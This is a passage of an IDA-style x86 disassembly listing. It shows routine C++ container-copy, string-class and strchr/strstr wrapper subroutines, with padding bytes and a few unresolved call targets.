		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097AB:				; CODE XREF: sub_4096E0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409809
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409809:				; CODE XREF: sub_4096E0+D8j
		test	edi, edi
		jbe	short loc_409843
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409843:				; CODE XREF: sub_4096E0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098D0


loc_4098C1:				; CODE XREF: sub_4098B0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098C1


loc_4098D0:				; CODE XREF: sub_4098B0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098F0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409962
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409946:				; CODE XREF: sub_409930+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409946
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_409930+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4099A7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409996:				; CODE XREF: sub_409980+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409996
		pop	esi
		pop	ebx


loc_4099A7:				; CODE XREF: sub_409980+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099C0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A20	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A3D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A31:				; CODE XREF: sub_409A20+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A31
		pop	esi

locret_409A3D:				; CODE XREF: sub_409A20+Aj
		retn
sub_409A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A72
		mov	eax, [esp+arg_8]
		push	esi


loc_409A61:				; CODE XREF: sub_409A50+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A61
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A72:				; CODE XREF: sub_409A50+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409ABA
		xor	eax, eax


loc_409ABA:				; CODE XREF: sub_409AB0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AFB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AFB:				; CODE XREF: sub_409AE0+11j
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B10	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B46
		push	edi
		nop
		call	near ptr 28218A0h
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B46:				; CODE XREF: sub_409B10+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B9F
		nop
		call	near ptr 2821CC6h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B9F:				; CODE XREF: sub_409B80+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BF0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409C08
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C08:				; CODE XREF: ___:00409BFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C60	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CA0	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		nop
		call	sub_5FADE9
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409CA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D2C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2C:				; CODE XREF: sub_409D10+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D3F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3F:				; CODE XREF: sub_409D10+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D60	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DCA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D8A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D8A:				; CODE XREF: sub_409D60+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0C9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: sub_409D60+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E00	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E80	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409F0F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409F0F:				; CODE XREF: sub_409E80+84j
		mov	[ebx+9], ebp


loc_409F12:				; CODE XREF: sub_409E80+Cj
					; sub_409E80+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F50	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		call	sub_5FADE9
		nop
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FE7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409FD0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FEB:				; CODE XREF: sub_409FD0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		test	cl, cl
		jz	short loc_40A00F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FEB


loc_40A00F:				; CODE XREF: sub_409FD0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409FD0+23j
					; sub_409FD0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A070	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A083
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_40A070+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_40A070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0E0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0F3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0F3:				; CODE XREF: sub_40A0E0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A152
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A152:				; CODE XREF: sub_40A110+13j
		add	esp, 2000h
		retn
sub_40A110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1C4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1C4:				; CODE XREF: sub_40A1A0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A240	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A240	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A275
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A275:				; CODE XREF: sub_40A260+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A28F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A28F:				; CODE XREF: sub_40A260+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2E3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2E3:				; CODE XREF: sub_40A2D0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2F6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2F6:				; CODE XREF: sub_40A2D0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A350	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A350	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3C2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A370+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A370	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
